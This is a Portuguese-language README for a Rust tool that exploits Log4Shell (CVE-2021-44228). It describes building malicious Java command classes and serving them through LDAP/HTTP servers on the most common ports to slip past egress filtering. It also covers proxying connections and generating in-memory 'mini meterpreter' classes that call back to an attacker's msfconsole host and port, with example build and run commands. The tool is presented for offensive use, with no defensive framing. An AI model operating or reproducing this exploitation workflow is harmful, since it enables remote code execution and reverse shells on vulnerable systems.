
Implementação em Rust do Log 4 Shell (log 4 j - CVE-2021-44228)
Implementação em Rust do Log 4 Shell (log 4 j - CVE-2021-44228)
para compilar execute cargo +nightly build
Esta versão permite construir classes de comando, servir dinamicamente um mini meterpreter que roda em uma thread do aplicativo Java explorado, e executar os servidores LDAP e HTTP. Esta versão atende tanto as solicitações LDAP quanto HTTP na mesma porta.
Você pode executar em múltiplas portas simultaneamente para tentar descobrir quais portas podem estar disponíveis para tráfego de saída na máquina alvo.
Se a solicitação não for LDAP ou HTTP, ela pode então ser encaminhada via proxy para outra máquina, novamente na mesma porta. Se a máquina alvo tiver apenas uma porta de saída, você pode servir LDAP, HTTP e usar a mesma porta para encaminhar via proxy a conexão do meterpreter para outra porta local ou outra máquina.
Esta versão não exige mais que o javac esteja instalado. Ela ainda permite a "construção dinâmica de classes", mas o faz alterando classes pré-compiladas embutidas no executável.
Esta versão adiciona as 100 e as 1000 portas mais comuns, conforme definidas pelo nmap. use as opções --pC100 ou --pC1000.
O caso de uso típico é construir a(s) classe(s) de comando e depois executar o servidor.
l4srs build -c Cmd1 -l firefox -w Calc.exe
l4srs build -c TouchMe -l "touch /tmp/me"
você pode então solicitar Cmd1 e isso abrirá o firefox no Linux e o Calc no Windows. Se você solicitar TouchMe, ele executará touch /tmp/me no Linux e no Windows não executará nada.
você pode então executar l4srs run --pC100 para iniciar o servidor nas
100 portas mais comuns e servir Cmd1 ou TouchMe.
Adicionalmente, se você solicitar MM:Host:port, ele criará dinamicamente uma classe mini meterpreter que se conectará ao host e porta da solicitação. Se o seu msfconsole estiver rodando em 10.20.30.40 na porta 4444, você solicitaria MM:10.20.30.40:4444 isso não é construído com o comando build; é construído dinamicamente na solicitação.
Esta versão permite construir e servir classes a partir de um cache em memória. Todas as classes dinâmicas MiniMeterpreter não tocam mais o sistema de arquivos. Além disso, 2 novas flags foram adicionadas. A primeira é --no_fs, que garante que nunca serviremos arquivos do sistema de arquivos. A outra, --allow_cmd, permite a construção dinâmica de classes ao acessar /build_cmd a partir de qualquer porta aberta com uma solicitação POST e um corpo JSON com os campos: class_name, l_cmd, w_cmd